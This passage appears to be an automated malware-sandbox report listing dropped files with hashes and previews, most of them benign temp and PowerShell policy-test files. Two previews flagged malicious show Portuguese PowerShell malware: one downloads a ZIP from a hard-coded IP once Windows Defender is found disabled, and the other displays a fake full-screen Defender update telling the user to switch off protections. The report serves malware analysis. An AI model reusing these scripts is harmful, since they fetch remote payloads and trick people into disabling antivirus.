SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_dclqt4dh.diy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_fglqxbe5.snc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_jf0eehkz.3by.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_js24bhgf.kgf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kezjl424.n2e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_mkzasyyy.aix.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_obbzavxx.ydo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pnqpiyuq.acl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rfhgmmn1.dfk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rjfrji5l.tmx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_whksghjf.2f0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xqc0jobx.okc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_yg3fwlpw.ni3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\~DF1406A0017249C2C8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5230335479585944
Encrypted:	false
SSDEEP:	48:L8PhKuRc06WXJ2FT5+4wY/MSC/WAECiCyqoX/MSC/cToOf:yhK1NFTOyM/1EC8M/a
MD5:	0B6E040A80A226A0474180A6AEC24359
SHA1:	48BDFB6E1197B23D13F9FA375B63D7BDA0400244
SHA-256:	464508D72C395E3CA3424E9F1BF0CB423484CC159B9BD9009DF02CD748B63C8E
SHA-512:	B6E99C6C4D2C45538EC47921C455440D8A9C6110775922D036E2A7E0BBCEA61839E096AA2C52F46964D4A6D2A365CC93B850583869CF9AEC7752D4E548E25DFB
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF40BB69BAB33C8155.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF81A875C8684D3C01.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2234113314570212
Encrypted:	false
SSDEEP:	48:L49CuhO+CFXJ3T5w4wY/MSC/WAECiCyqoX/MSC/cToOf:L8C5fT0yM/1EC8M/a
MD5:	1B47FD6B413B6F5BDCADE4D826CFD218
SHA1:	0407EB30C6D9FB57C2C0B5EC0DC0A75C177A473B
SHA-256:	1363FA7328F6FA1242A1ECDB426790E2ECE9BFEA2E0E12B3288C820B51821B9E
SHA-512:	3AF069015BA7E5D6B8F5A2B53FAC43410F9985155726719C02F107CD5CC3ADF5731FC818115491C14B06F362CD82A01FC5B416C46C634D7BC02AACCC6CA7A670
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF873602091BA25D22.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2234113314570212
Encrypted:	false
SSDEEP:	48:L49CuhO+CFXJ3T5w4wY/MSC/WAECiCyqoX/MSC/cToOf:L8C5fT0yM/1EC8M/a
MD5:	1B47FD6B413B6F5BDCADE4D826CFD218
SHA1:	0407EB30C6D9FB57C2C0B5EC0DC0A75C177A473B
SHA-256:	1363FA7328F6FA1242A1ECDB426790E2ECE9BFEA2E0E12B3288C820B51821B9E
SHA-512:	3AF069015BA7E5D6B8F5A2B53FAC43410F9985155726719C02F107CD5CC3ADF5731FC818115491C14B06F362CD82A01FC5B416C46C634D7BC02AACCC6CA7A670
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9247DE1FA319B43A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2234113314570212
Encrypted:	false
SSDEEP:	48:L49CuhO+CFXJ3T5w4wY/MSC/WAECiCyqoX/MSC/cToOf:L8C5fT0yM/1EC8M/a
MD5:	1B47FD6B413B6F5BDCADE4D826CFD218
SHA1:	0407EB30C6D9FB57C2C0B5EC0DC0A75C177A473B
SHA-256:	1363FA7328F6FA1242A1ECDB426790E2ECE9BFEA2E0E12B3288C820B51821B9E
SHA-512:	3AF069015BA7E5D6B8F5A2B53FAC43410F9985155726719C02F107CD5CC3ADF5731FC818115491C14B06F362CD82A01FC5B416C46C634D7BC02AACCC6CA7A670
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9FDC752B7B686164.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.12184701300507667
Encrypted:	false
SSDEEP:	24:QSp7fk3TxkrLMipVkrLekrLMipVkrLWAEVkryjCyqV2BwGLR+VcD:QOfMTe/MSC/p/MSC/WAECiCyqoH44
MD5:	2BE5642D2527ECB9BE56EFE0BC2A2F59
SHA1:	1D24883B7258F8823A366715E49C7E6584B865C4
SHA-256:	8E1E68792C4EB878F3E7DC6DB41C03FD04D0576DB94963AC7C82990D634AB59A
SHA-512:	4068A529DD0D77FD1F544E81D157B69B3A547FBC67E862910B699F8894D3BA7ABB44AC7F20761E13F79FB5A52CBA6EB61D278CC09A13A91866896EADDBB888BC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFA884343D673BD4F5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB7EF468CACAEA49D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBCF458785B61B71B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC490F9FB3596D834.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5230335479585944
Encrypted:	false
SSDEEP:	48:L8PhKuRc06WXJ2FT5+4wY/MSC/WAECiCyqoX/MSC/cToOf:yhK1NFTOyM/1EC8M/a
MD5:	0B6E040A80A226A0474180A6AEC24359
SHA1:	48BDFB6E1197B23D13F9FA375B63D7BDA0400244
SHA-256:	464508D72C395E3CA3424E9F1BF0CB423484CC159B9BD9009DF02CD748B63C8E
SHA-512:	B6E99C6C4D2C45538EC47921C455440D8A9C6110775922D036E2A7E0BBCEA61839E096AA2C52F46964D4A6D2A365CC93B850583869CF9AEC7752D4E548E25DFB
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFDE3751AEAF3DCFBC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE481C74688988BC6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07870017134014252
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOvfno0p76RltaVky6lh:2F0i8n0itFzDHFvfo0pch
MD5:	BDF80296164898EB2951F64855998B96
SHA1:	2250EE851A2C559C53E511FDBC9F454F57813122
SHA-256:	45471846DB9209F27ABB907FBBF904A9208C46E6C9D25002819229FF7556D786
SHA-512:	AE134E7E8C2110F8546E5214C1578281B2EFE5C94116640275AC9E4AF24EB72B9B99292692B12321CE01CCBB0646761C1B0907EE9B618D703BB7B4FEC62D2122
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\temp\DownSistem.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	4.875296459570529
Encrypted:	false
SSDEEP:	48:+8gOzEQzwQUQioAXBvbRhdGAtBEGpGp/VPQCgJ151Kd:+8hYGw1cITdGAtBEGQvi1Kd
MD5:	1B80563A9BE33F01CEED527EE53995DD
SHA1:	C8BB923AD8DBF1D39AC71CF0FE6258BA9FC4FDB0
SHA-256:	BE2CF84DD20BE72DE958F1C31827070302200A72DCB62D1710536EE4D8196CC4
SHA-512:	9C708AB7D93F78A2E24A21B7734298DFC0F2943C74D786601509957AF62B83264A0F9994BCDE80C3FE97F2841E10DD3286C84AD30B24DCBDBCBE9E8DC6AD6C4B
Malicious:	true
Preview:	# Define a URL do arquivo ZIP e o caminho de destino..$zipUrl = "http://192.124.216.14/vd/sis/sistema.zip"..$destinationFolder = "C:\temp"..$zipFilePath = Join-Path $destinationFolder "sistema.zip"....# Verifica se a pasta de destino existe, sen.o a cria..if (-not (Test-Path $destinationFolder)) {.. New-Item -Path $destinationFolder -ItemType Directory -Force \| Out-Null..}....# Fun..o para verificar se o Windows Defender est. inativo..function Is-WindowsDefenderInactive {.. try {.. # Verifica o status do monitoramento em tempo real.. $realTimeProtection = Get-MpPreference \| Select-Object -ExpandProperty DisableRealtimeMonitoring.. return $realTimeProtection -eq $true.. } catch {.. Write-Output "Erro ao verificar o status do Windows Defender: $_".. exit 1.. }..}....# Verifica se o Windows Defender est. inativo..if (-not (Is-WindowsDefenderInactive)) {.. Write-Output "Windows Defender est. ativo. Nada ser. feito.".. exit 0..}....# Se o

C:\temp\ShowUpdateScreen.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ISO-8859 text, with very long lines (316), with CRLF line terminators
Category:	dropped
Size (bytes):	5030
Entropy (8bit):	5.251015391591683
Encrypted:	false
SSDEEP:	96:DTQOCfldZT23NDacTXivoHhorwJdypKNAklPm5toUruVMLpAdVuDCqlG0MHR5Jik:QOCtdA3ND/WdwjPmTruVMLpAdVuDCqRy
MD5:	948E8056F99BB3352ADA8A23AC7E5D42
SHA1:	E1512BCF4789E81B3C1ADB4902D31CAF50479A64
SHA-256:	6322F3C110CFBDAFDEC8273EE047671A16FB5162C26A15B555C3DA490000B13A
SHA-512:	A57D3D491315655AB2E1DCB3A45BE429A5354B09641947CE96CF7D37A7AC7F58BCFBD4DFBC3731950AE12ECC99F98D03D7CD7A56A02A90A2C28F5D5EBECD823C
Malicious:	true
Preview:	Add-Type -AssemblyName System.Windows.Forms..Add-Type -AssemblyName System.Drawing....$form = New-Object System.Windows.Forms.Form..$form.WindowState = 'Maximized'..$form.FormBorderStyle = 'None'..$form.BackColor = [System.Drawing.Color]::FromArgb(0, 120, 215)..$form.TopMost = $true....$label = New-Object System.Windows.Forms.Label..$label.Text = "ATUALIZA..O DO WINDOWS DEFENDER`n`nAguarde, estamos atualizando seu Antivirus Windows Defender.`nNa pr.xima tela, desabilite todas as op..es ativas, para prosseguir com a atualiza..o.`nlogo ap.s a atualiza..o, todas as op..es ser.o reativadas automaticamente.`n`nClique no bot.o abaixo para continuar"..$label.Font = New-Object System.Drawing.Font("Segoe UI", 18)..$label.ForeColor = 'White'..$label.AutoSize = $true..$label.Location = New-Object System.Drawing.Point(200, 150)..$form.Controls.Add($label)....$pictureBox = New-Object System.Windows.Forms.PictureBox..$pictureBox.ImageLocation = "C:\\temp\\loading.gif"..$pictureBox.SizeMode = 'Stretc

C:\temp\loading.gif

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	GIF image data, version 89a, 128 x 128
Category:	dropped
Size (bytes):	45632
Entropy (8bit):	7.752616668937112
Encrypted:	false
SSDEEP:	768:DaQdV1aFO8hKPkT6f1RmTyLyazwPt08EAQLvlLFr:+YkceKPue14+Tz1PAQLNJ
MD5:	B3AC83C59A1D981725A72B9A6851EDEC
SHA1:	969BF732C77C009C656CA3B66B40D7188F5A768F
SHA-256:	274FCAD499652B0D5C9A2A3DA0EBA8703D1245DE06DC20925E5EBB11B6A9AF2C
SHA-512:	6702B72A6D81E361CD8DA21D35D92D0AA6AC4E4A7841708EA0D1709008B9075CC2A64CDAFE8C443348016A10FE12A8F4FC373A1EACE29129CAB82EED47744295
Malicious:	false
Preview:	GIF89a...................lll....................\|\|\|...ttt................................................!..NETSCAPE2.0.....!..ImageMagick.gamma=0.454545.!.......,........... $.di.h.......tm.x.(C?..XnH,.e..o.8:.P.aIED..+.JUd.......4A^..p...{..%..px..m^x.$lK..D.t....d..C.J\M.....v5.........t..E0...r....C<t...5.m...2.....,.K...'......#.....A..&.....................pz.....x..=..q q.`. .$t...3.N.y..4lS.bD"....%.@..q...,...>V..r.G..+.$PP@...1......@...J...H.]...P..ku`.N...).)....]E...+.~d......TT.T.M5.+..t..IfAX.-.......v.C.....#K.L....3k...g.j.".P.....<.P.......n...P..Cm..Kl.......T..q...C@1.K/......k........O.....E...!..ImageMagick.gamma=0.454545.!.......,....L.d.....$.di.h......+.t..C>.H....@....$..#...(R.$...,.Pu...!.P..........$...G..@....vw.._?.t.w%...H.].."Tt.I.M9...L..Q..0...t....t..w~]........n....0...............w..?......HyD..4..N\|.+Bte.*.h..)..(..'..]..%.h..-...@....Iw.D....0lh.....(j.... C..I...(S..\.Q...^\|$.C.#...@.8.........\..@.....

C:\temp\logo.png

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71977
Entropy (8bit):	7.162452570294947
Encrypted:	false
SSDEEP:	1536:+gLkFMnomksBbxLXr/DdWvHMHMYUo+CB8Vu:+GnZLLDdVHDAu
MD5:	702EA782AAE26DED88FA40BD7B209D08
SHA1:	BC6334BAD5BA4DC3017D027738AD2CC1CEDB7533
SHA-256:	779069D4F2F95426555C2A9E6030ACF1B9020C2A3797A90BE3629246C1F96586
SHA-512:	94752392092C46DFCD4D0C3FA2317D8B9D5B289F5BFB898071998297E68C59AA3B1DD55A88EF35FE9A3275FB144FCDA4E8AC7A614A3085601B26865BE83C7DAE
Malicious:	false
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS6.....HprVWx...A..0...'..8......".......i....7=}.F...................+g.....,....Y..P...HmkBF........................................................................).3...:.mkTSx..}[w.F..&3N,..'.f....:......<..(i....l9/^ H.....IV...~...qi4..I....A4.........N~..._..........F......Ng.a6\|.5...=...oX..........Flc.?..M(..38.s.....\|\|;.......z.mic...j}m.]..L{....@.6.\B.....3..8.}0...t.]h.5m....6.s.m...'....a..Tt.ig.'.N...{.{0..z....Pq.v...y..tF.r.>.......h.[y....1...0.2.3....4.0Yaa..B..d..m......`.=..v.5....X.3c].=..hW..o.;........i.6....K`..`..6..0:...q.<.....i1xZ...3.e......j..;.F9._r.....\..FP-P...q0......@S.<4%MsW.;..FC...a5CV.!}.!.P..i.....t.`...;...>.Ia.Ubi..j...U...6.....C..E.v.........`.....)l.........T...=r.ZD..o.J..:.H7....!}...[..d #96:.&...2.\..z.+.S.ly0.......y.2.9-...u.B.C.a.9%..V....A....6U...k.....n.....r..B.>..vs.Fc.....G6.A.3ht..

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
